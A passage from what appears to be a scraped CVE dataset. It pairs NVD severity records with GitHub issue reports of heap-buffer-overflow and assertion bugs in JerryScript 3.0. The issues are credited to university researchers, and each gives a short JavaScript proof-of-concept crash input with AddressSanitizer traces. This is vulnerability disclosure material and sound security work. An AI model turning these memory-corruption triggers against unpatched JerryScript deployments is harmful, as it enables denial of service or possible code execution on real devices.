0x3eaa00d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eaa00e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eaa00f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eaa0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eaa0110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3eaa0120: fa fa 00 00 04 fa fa fa 00 00 00[01]fa fa 00 00
0x3eaa0130: 00 fa fa fa 00 00 00 00 fa fa 00 00 04 fa fa fa
0x3eaa0140: 00 00 00 00 fa fa 00 00 03 fa fa fa 00 00 00 fa
0x3eaa0150: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x3eaa0160: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x3eaa0170: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3572149==ABORTING
```
---
###### Test case+
```javascript
// poc2.js
class C {#static async*''
```
###### Execution steps & Output+
```
$ ./jerryscript/build/bin/jerry poc2.js
=================================================================
==3572558==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf540095a at pc 0x0839f1a4 bp 0xffe49808 sp 0xffe49800
READ of size 1 at 0xf540095a thread T0
#0 0x839f1a3 in lexer_compare_identifier_to_chars jerryscript/jerry-core/parser/js/js-lexer.c:3297:9
#1 0x839f4c1 in lexer_compare_identifiers jerryscript/jerry-core/parser/js/js-lexer.c
#2 0x83b5a37 in parser_check_duplicated_private_field jerryscript/jerry-core/parser/js/js-parser-expr.c:416:9
#3 0x83a2edb in parser_parse_class_body jerryscript/jerry-core/parser/js/js-parser-expr.c:728:9
#4 0x83a2edb in parser_parse_class jerryscript/jerry-core/parser/js/js-parser-expr.c:1110:27
#5 0x83c9958 in parser_parse_statements jerryscript/jerry-core/parser/js/js-parser-statm.c:2787:9
#6 0x8284a25 in parser_parse_source jerryscript/jerry-core/parser/js/js-parser.c:2280:5
#7 0x8282c6f in parser_parse_script jerryscript/jerry-core/parser/js/js-parser.c:3326:38
#8 0x8129a7c in jerry_parse_common jerryscript/jerry-core/api/jerryscript.c:412:21
#9 0x8129697 in jerry_parse jerryscript/jerry-core/api/jerryscript.c:480:10
#10 0x83ea951 in jerryx_source_parse_script jerryscript/jerry-ext/util/sources.c:52:26
#11 0x83eac11 in jerryx_source_exec_script jerryscript/jerry-ext/util/sources.c:63:26
#12 0x812162c in main jerryscript/jerry-main/main-desktop.c:156:20
#13 0xf7bc3ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#14 0x8078645 in _start (jerryscript/build/bin/jerry+0x8078645)
0xf540095a is located 0 bytes to the right of 26-byte region [0xf5400940,0xf540095a)
allocated by thread T0 here:
#0 0x80efe65 in malloc (jerryscript/build/bin/jerry+0x80efe65)
#1 0x83ec157 in jerry_port_source_read jerryscript/jerry-port/common/jerry-port-fs.c:72:45
#2 0x83ea7ce in jerryx_source_parse_script jerryscript/jerry-ext/util/sources.c:33:28
#3 0x83eac11 in jerryx_source_exec_script jerryscript/jerry-ext/util/sources.c:63:26
#4 0x812162c in main jerryscript/jerry-main/main-desktop.c:156:20
#5 0xf7bc3ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
SUMMARY: AddressSanitizer: heap-buffer-overflow jerryscript/jerry-core/parser/js/js-lexer.c:3297:9 in lexer_compare_identifier_to_chars
Shadow bytes around the buggy address:
0x3ea800d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea800e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea800f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea80100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea80110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea80120: fa fa 00 00 04 fa fa fa 00 00 00[02]fa fa 00 00
0x3ea80130: 00 fa fa fa 00 00 00 00 fa fa 00 00 04 fa fa fa
0x3ea80140: 00 00 00 00 fa fa 00 00 03 fa fa fa 00 00 00 fa
0x3ea80150: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x3ea80160: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x3ea80170: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3572558==ABORTING
```
Credits:
@Ye0nny, @EJueon of the seclab-yonsei.
| heap-buffer-overflow in lexer_compare_identifier_to_chars | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5066/comments | 0 | 2023-04-08T12:50:49Z | 2023-04-08T12:50:49Z | https://github.com/jerryscript-project/jerryscript/issues/5066 | 1,659,514,220 | 5,066 |
CVE-2023-31907 | 2023-05-10T15:15:10.353 | Jerryscript 3.0.0 was discovered to contain a heap-buffer-overflow via the component scanner_literal_is_created at /jerry-core/parser/js/js-scanner-util.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5073"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5073 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```javascript
class s extends Uint32Array { static [ null ] ; [ null ] ; static [ null ] ; static set ( ) { } static { } ; } const n = new s ( t ) ; const t = BigInt ( ) ; assert ( n === Uint32Array ) ;
```
</p>
</details>
```javascript
// poc.js
class s extends Uint32Array { static { } ; } const n = new s ( ) ; const t = BigInt ( ) ;
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
=================================================================
==3080358==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf510068c at pc 0x566887dc bp 0xfff81e68 sp 0xfff81e58
READ of size 2 at 0xf510068c thread T0
#0 0x566887db in scanner_literal_is_created ./jerryscript/jerry-core/parser/js/js-scanner-util.c:2922
#1 0x566f8265 in parser_parse_var_statement ./jerryscript/jerry-core/parser/js/js-parser-statm.c:523
#2 0x566fda21 in parser_parse_statements ./jerryscript/jerry-core/parser/js/js-parser-statm.c:3021
#3 0x5667eb25 in parser_parse_source ./jerryscript/jerry-core/parser/js/js-parser.c:2280
#4 0x566113cf in jerry_parse_common ./jerryscript/jerry-core/api/jerryscript.c:412
#5 0x56611631 in jerry_parse ./jerryscript/jerry-core/api/jerryscript.c:480
#6 0x56706644 in jerryx_source_parse_script ./jerryscript/jerry-ext/util/sources.c:52
#7 0x56706701 in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:63
#8 0x56609d04 in main ./jerryscript/jerry-main/main-desktop.c:156
#9 0xf7627ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#10 0x5660cfb4 in _start (./jerryscript/build/bin/jerry+0x12fb4)
0xf510068c is located 4 bytes to the left of 8-byte region [0xf5100690,0xf5100698)
allocated by thread T0 here:
#0 0xf7a10817 in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x5660cae4 in jmem_heap_alloc ./jerryscript/jerry-core/jmem/jmem-heap.c:254
#2 0x56671d8d in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:291
#3 0x566f25ab in parser_malloc ./jerryscript/jerry-core/parser/js/js-parser-mem.c:43
#4 0x56686c95 in scanner_create_variables ./jerryscript/jerry-core/parser/js/js-scanner-util.c:2341
#5 0x5667eae1 in parser_parse_source ./jerryscript/jerry-core/parser/js/js-parser.c:2277
#6 0x566113cf in jerry_parse_common ./jerryscript/jerry-core/api/jerryscript.c:412
#7 0x56611631 in jerry_parse ./jerryscript/jerry-core/api/jerryscript.c:480
#8 0x56706644 in jerryx_source_parse_script ./jerryscript/jerry-ext/util/sources.c:52
#9 0x56706701 in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:63
#10 0x56609d04 in main ./jerryscript/jerry-main/main-desktop.c:156
#11 0xf7627ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
SUMMARY: AddressSanitizer: heap-buffer-overflow ./jerryscript/jerry-core/parser/js/js-scanner-util.c:2922 in scanner_literal_is_created
Shadow bytes around the buggy address:
0x3ea20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea200b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea200c0: fa fa fa fa fa fa 05 fa fa fa 05 fa fa fa fd fd
=>0x3ea200d0: fa[fa]00 fa fa fa 00 04 fa fa fd fd fa fa fd fd
0x3ea200e0: fa fa fd fd fa fa 00 07 fa fa 00 06 fa fa 00 03
0x3ea200f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa
0x3ea20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea20110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea20120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3080358==ABORTING
```
---
with debugging mode(--debug)
###### Outputs
```
ICE: Assertion 'scope_stack_p > context_p->scope_stack_p' failed at ./jerryscript/jerry-core/parser/js/js-scanner-util.c(scanner_literal_is_created):2920.
Error: JERRY_FATAL_FAILED_ASSERTION
Aborted
```
Credits: @Ye0nny, @EJueon of the seclab-yonsei.
| heap-buffer-overflow in scanner_literal_is_created | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5073/comments | 0 | 2023-04-19T12:27:29Z | 2023-04-19T12:27:29Z | https://github.com/jerryscript-project/jerryscript/issues/5073 | 1,674,802,543 | 5,073 |
CVE-2023-31908 | 2023-05-10T15:15:10.533 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain a heap-buffer-overflow via the component ecma_builtin_typedarray_prototype_sort. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5067"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "6DB8D818-8F21-4FD3-8D4D-A024A6346CB4",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5067 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7)
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
``` JavaScript
// poc.js
a = new Int16Array ( 1073741825 ) . sort ( ) ;
```
###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
==3598395==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5100634 at pc 0x5666342e bp 0xffaaafb8 sp 0xffaaafa8
WRITE of size 4 at 0xf5100634 thread T0
#0 0x5666342d in ecma_builtin_typedarray_prototype_sort /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1261
#1 0x5666342d in ecma_builtin_typedarray_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:2007
#2 0x5665ea28 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#3 0x5665ea28 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#4 0x56673db7 in ecma_op_function_call_native_built_in /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#5 0x56675c84 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#6 0x566d6e89 in opfunc_call /jerryscript/jerry-core/vm/vm.c:758
#7 0x566d6e89 in vm_execute /jerryscript/jerry-core/vm/vm.c:5217
#8 0x566d8152 in vm_run /jerryscript/jerry-core/vm/vm.c:5312
#9 0x566d838f in vm_run_global /jerryscript/jerry-core/vm/vm.c:286
#10 0x5663682e in jerry_run /jerryscript/jerry-core/api/jerryscript.c:548
#11 0x5672b354 in jerryx_repl /jerryscript/jerry-ext/util/repl.c:66
#12 0x5662ef56 in main /jerryscript/jerry-main/main-desktop.c:226
#13 0xf7621ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#14 0x56631fb4 in _start (/jerryscript/build/bin/jerry+0x12fb4)
0xf5100634 is located 0 bytes to the right of 4-byte region [0xf5100630,0xf5100634)
allocated by thread T0 here:
#0 0xf7a0a817 in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x56631ae4 in jmem_heap_alloc /jerryscript/jerry-core/jmem/jmem-heap.c:254
#2 0x56696d8d in jmem_heap_gc_and_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:291
#3 0x56663281 in ecma_builtin_typedarray_prototype_sort /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1248
#4 0x56663281 in ecma_builtin_typedarray_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:2007
#5 0x5665ea28 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
#6 0x5665ea28 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
#7 0x56673db7 in ecma_op_function_call_native_built_in /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
#8 0x56675c84 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
#9 0x566d6e89 in opfunc_call /jerryscript/jerry-core/vm/vm.c:758
#10 0x566d6e89 in vm_execute /jerryscript/jerry-core/vm/vm.c:5217
#11 0x566d8152 in vm_run /jerryscript/jerry-core/vm/vm.c:5312
#12 0x566d838f in vm_run_global /jerryscript/jerry-core/vm/vm.c:286
#13 0x5663682e in jerry_run /jerryscript/jerry-core/api/jerryscript.c:548
#14 0x5672b354 in jerryx_repl /jerryscript/jerry-ext/util/repl.c:66
#15 0x5662ef56 in main /jerryscript/jerry-main/main-desktop.c:226
#16 0xf7621ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
SUMMARY: AddressSanitizer: heap-buffer-overflow /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1261 in ecma_builtin_typedarray_prototype_sort
Shadow bytes around the buggy address:
0x3ea20070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea200b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea200c0: fa fa fa fa fa fa[04]fa fa fa 00 fa fa fa 00 00
0x3ea200d0: fa fa 00 02 fa fa 05 fa fa fa 00 00 fa fa 00 fa
0x3ea200e0: fa fa 00 04 fa fa fd fd fa fa 00 06 fa fa 00 03
0x3ea200f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa
0x3ea20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea20110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3598395==ABORTING
```
---
with debugging mode(--debug)
###### Outputs
```
ICE: Assertion 'buffer_index == info_p->length' failed at /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c(ecma_builtin_typedarray_prototype_sort):1265.
Error: JERRY_FATAL_FAILED_ASSERTION
```
credits: @EJueon, @Ye0nny of the seclab-yonsei.
| heap-buffer-overflow in ecma_builtin_typedarray_prototype_sort | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5067/comments | 0 | 2023-04-08T13:31:08Z | 2023-04-08T13:39:28Z | https://github.com/jerryscript-project/jerryscript/issues/5067 | 1,659,524,592 | 5,067 |
CVE-2023-31910 | 2023-05-10T15:15:10.697 | Jerryscript 3.0 (commit 05dbbd1) was discovered to contain a heap-buffer-overflow via the component parser_parse_function_statement at /jerry-core/parser/js/js-parser-statm.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5076"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5076 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7)
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
python ./tools/build.py --clean --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```
###### Test case
<details><summary>testcase</summary>
<p>
```JavaScript
class s extends WeakMap { static { newObj } ; } function func0 ( [ " " ] = 2 , { static { 536870912 } has ( ) ; assert ( a instanceof s ) ) .
```
</p>
</details>
``` JavaScript
// poc.js
class s extends WeakMap { static { } ; }
function func0 ( static { 536870912 } )
```
###### Execution steps & Output
```sh
$ ./jerryscript/build/bin/jerry poc.js
=================================================================
==2433547==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf50006ac at pc 0x566ef7ff bp 0xffa35298 sp 0xffa35288
READ of size 2 at 0xf50006ac thread T0
#0 0x566ef7fe in parser_parse_function_statement /jerryscript/jerry-core/parser/js/js-parser-statm.c:696
#1 0x566f3001 in parser_parse_statements /jerryscript/jerry-core/parser/js/js-parser-statm.c:2809
#2 0x56677b25 in parser_parse_source /jerryscript/jerry-core/parser/js/js-parser.c:2280
#3 0x5660a3cf in jerry_parse_common /jerryscript/jerry-core/api/jerryscript.c:412
#4 0x5660a631 in jerry_parse /jerryscript/jerry-core/api/jerryscript.c:480
#5 0x566ff644 in jerryx_source_parse_script /jerryscript/jerry-ext/util/sources.c:52
#6 0x566ff701 in jerryx_source_exec_script /jerryscript/jerry-ext/util/sources.c:63
#7 0x56602d04 in main /jerryscript/jerry-main/main-desktop.c:156
#8 0xf75faed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
#9 0x56605fb4 in _start (/jerryscript/build/bin/jerry+0x12fb4)
0xf50006ac is located 4 bytes to the left of 8-byte region [0xf50006b0,0xf50006b8)
allocated by thread T0 here:
#0 0xf79e3817 in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x56605ae4 in jmem_heap_alloc /jerryscript/jerry-core/jmem/jmem-heap.c:254
#2 0x5666ad8d in jmem_heap_gc_and_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:291
#3 0x566eb5ab in parser_malloc /jerryscript/jerry-core/parser/js/js-parser-mem.c:43
#4 0x5667fc95 in scanner_create_variables /jerryscript/jerry-core/parser/js/js-scanner-util.c:2341
#5 0x56677ae1 in parser_parse_source /jerryscript/jerry-core/parser/js/js-parser.c:2277
#6 0x5660a3cf in jerry_parse_common /jerryscript/jerry-core/api/jerryscript.c:412
#7 0x5660a631 in jerry_parse /jerryscript/jerry-core/api/jerryscript.c:480
#8 0x566ff644 in jerryx_source_parse_script /jerryscript/jerry-ext/util/sources.c:52
#9 0x566ff701 in jerryx_source_exec_script /jerryscript/jerry-ext/util/sources.c:63
#10 0x56602d04 in main /jerryscript/jerry-main/main-desktop.c:156
#11 0xf75faed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/aifuzz/targets/jerryscript_afl_asan2/jerry-core/parser/js/js-parser-statm.c:696 in parser_parse_function_statement
Shadow bytes around the buggy address:
0x3ea00080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea000c0: fa fa 05 fa fa fa 00 00 fa fa 00 07 fa fa 05 fa
=>0x3ea000d0: fa fa fd fd fa[fa]00 fa fa fa 00 04 fa fa fd fd
0x3ea000e0: fa fa fd fd fa fa fd fd fa fa 00 06 fa fa 00 03
0x3ea000f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa
0x3ea00100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3ea00120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2433547==ABORTING
```
---
with debugging mode(--debug)
###### Outputs
```
ICE: Assertion 'context_p->scope_stack_top >= 2' failed at /jerryscript/jerry-core/parser/js/js-parser-statm.c(parser_parse_function_statement):691.
Error: JERRY_FATAL_FAILED_ASSERTION
```
If I had to guess, This seems to be happening due to similar reasons as #5056.
credits: @EJueon, @Ye0nny of the seclab-yonsei.
| heap-buffer-overflow in parser_parse_function_statement | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5076/comments | 0 | 2023-04-23T16:01:47Z | 2023-04-23T16:01:47Z | https://github.com/jerryscript-project/jerryscript/issues/5076 | 1,680,076,342 | 5,076 |
CVE-2023-31913 | 2023-05-12T14:15:09.773 | Jerryscript 3.0 *commit 1a2c047) was discovered to contain an Assertion Failure via the component parser_parse_class at jerry-core/parser/js/js-parser-expr.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/5061"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jerryscript:jerryscript:3.0.0:*:*:*:*:*:*:*",
"matchCriteriaId": "B1A23519-19ED-4F75-9CAA-42057F88EDE5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/jerryscript-project/jerryscript/issues/5061 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: https://github.com/jerryscript-project/jerryscript/commit/1a2c04763aba49f52b1537acd3730098c873511c
Version: v3.0.0
###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)
###### Build steps
```sh
